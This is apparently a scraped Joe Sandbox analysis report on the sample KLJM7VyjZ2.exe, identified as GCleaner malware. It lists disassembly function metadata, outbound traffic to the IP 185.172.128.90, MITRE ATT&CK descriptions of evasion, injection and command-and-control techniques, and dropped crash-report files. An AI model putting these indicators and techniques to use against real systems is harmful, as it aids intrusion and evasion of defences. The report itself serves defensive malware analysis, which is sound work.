Instruction ID: 703faf4ece97a4a850234e5cb5527c5b9e9e21c82f0b6145e5fd6f077e4428d7
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: B1515A61E09103D6DB2A775CC9943BE6B90DB40F15F20CD6CE09686299EB31CDC5DE8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D63D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040D6CD

Strings

pow, xrefs: 0040D6A5, 0040D6C2

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction ID: 8d3161e886a3821ea2e9f022d8d71e59df4e5d6d7a924f733059c646dd09a487
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: 66517A70E0910196CB117758D9413EB3BE09B80B50F208D7BE099563E9EA3D8CDA9E8E

Uniqueness

Uniqueness Score: -1.00%

Function 004162F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00415E8B: GetOEMCP.KERNEL32(00000000,004160FC,00000000,00000000,00410FF0,00410FF0,00000000,?,00000000), ref: 00415EB6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0), ref: 0041634E
GetCPInfo.KERNEL32(00000000,CaA,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0,00000000,?), ref: 00416390

Strings

CaA, xrefs: 0041638B, 0041638E

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: CaA
API String ID: 546120528-4037067115
Opcode ID: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction ID: a134882bb56a32c7912985d8d12d3a3e7122bfa70288869bd56f24947c62dcc4
Opcode Fuzzy Hash: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction Fuzzy Hash: DC510170A006459EDB208F26C8806EBBBF5EF40304F15456FD4968B292D73DD986CB99

Uniqueness

Uniqueness Score: -1.00%

Function 01CBE134 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\KLJM7VyjZ2.exe, xrefs: 01CBE177, 01CBE17E, 01CBE1B4

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\KLJM7VyjZ2.exe
API String ID: 0-1178034022
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 931c4101210dff3ba50bf2549fc95fb6a643a5110c5de18f884a10ff56777155
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: AF418D71E00219EFDB26DBA99CC0DEEBBB8EB95B00F10406AE904D7251D7B0DA41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040DECD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\KLJM7VyjZ2.exe, xrefs: 0040DF10, 0040DF17, 0040DF4D

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\KLJM7VyjZ2.exe
API String ID: 0-1178034022
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 2e5f72311863fa9e8fcf8b79921b47b2e5fb927b0b01c65b7a78908b15f214c6
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: 5D418471E00215ABCB219F9ADC819AEBBB8EF85304F10407BF505E7391D7789A46DB98

Uniqueness

Uniqueness Score: -1.00%

Function 01CBAC57 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 01CBAC96
__IsNonwritableInCurrentImage.LIBCMT ref: 01CBAD4A

Strings

csm, xrefs: 01CBAD34

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: 4a6981483905b924551af52615fc1213c33029dabce609efb36390f5682074f8
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: 6941BC34A00219EBCF10DF68C8C4AEEBFA5AF54324F248155E958DB391D732EA45CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01CBB533 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 01CBB558

Strings

MOC, xrefs: 01CBB56A
RCC, xrefs: 01CBB572

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: d59349e5053a4a58e47a834bead4f5020783c3dbad9de2bfe9b4cc946c4195ee
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: E8411771900209EFDF16DF98C981AEEBBB5BF48304F188159EA09A7251D235DE60DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040B2F1

Strings

MOC, xrefs: 0040B303
RCC, xrefs: 0040B30B

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: f43e59867b844965b4dd6bccced8563d77acdffbe0e3e52ad2b3e9d62f308d90
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: 33414972900209EFCF15DF98CD81AEEBBB5FF48304F28806AF91476291D3399950DB99

Uniqueness

Uniqueness Score: -1.00%

Function 01CB48E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 01CB8273: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 01CB827E
Part of subcall function 01CB8273: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 01CB82BB

__Init_thread_footer.LIBCMT ref: 01CB495B

Part of subcall function 01CB8229: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 01CB8233
Part of subcall function 01CB8229: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 01CB8266

Strings

JBM, xrefs: 01CB4904
^F^., xrefs: 01CB493C

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: JBM$^F^.
API String ID: 4132704954-776405404
Opcode ID: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction ID: b1a9e8f59cfc2dd9f5301937bd1d578b69dcb50087288b2ee871d7cf037d1114
Opcode Fuzzy Hash: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction Fuzzy Hash: FD01A270F00609DFCB20DFA8E8815AC77B0EF64300F90416AD81997790EB35AA01CFC9

Uniqueness

Uniqueness Score: -1.00%

Function 00404680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0040800C: EnterCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408017
Part of subcall function 0040800C: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408054

__Init_thread_footer.LIBCMT ref: 004046F4

Part of subcall function 00407FC2: EnterCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FCC
Part of subcall function 00407FC2: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FFF
Part of subcall function 00407FC2: RtlWakeAllConditionVariable.NTDLL ref: 00408076

Strings

^F^., xrefs: 004046D5
JBM, xrefs: 0040469D

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: JBM$^F^.
API String ID: 2296764815-776405404
Opcode ID: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction ID: 65274f911ef85e104a8c592ea7a752ece469cbe28b6bf56a6389c662a6c1d48e
Opcode Fuzzy Hash: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction Fuzzy Hash: D401DFB0E106098BDB20EFA9D94255D7BB0FF54700F50457EE91867391EB3A69058FCD

Uniqueness

Uniqueness Score: -1.00%

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KLJM7VyjZ2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: GCleaner

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_446932cafea45fc1e53d37534df11af3b5a6e54_93731659_dcb33012-df20-456d-9f51-cc55c7905d9c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_2e7efa97-b04b-4148-816d-0a2624e90d77\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_2f4f0210-77a7-494f-8403-01ec639613ea\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_36706507-4a1e-4fe9-a5a7-97149466896c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_8bdd8b26-e474-4b38-aab5-c2ddeceac0c1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_9ccf4886-b04c-403b-be71-39f6393c6014\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_c964ff10-317a-4e46-b50c-1279a696115c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_d5c5f4e6-5af2-4f52-b25c-3e8253293b6f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1125.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1240.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1260.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER260.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER30E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5BD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5E.tmp.WERInternalMetadata.xml

Windows Analysis Report
KLJM7VyjZ2.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre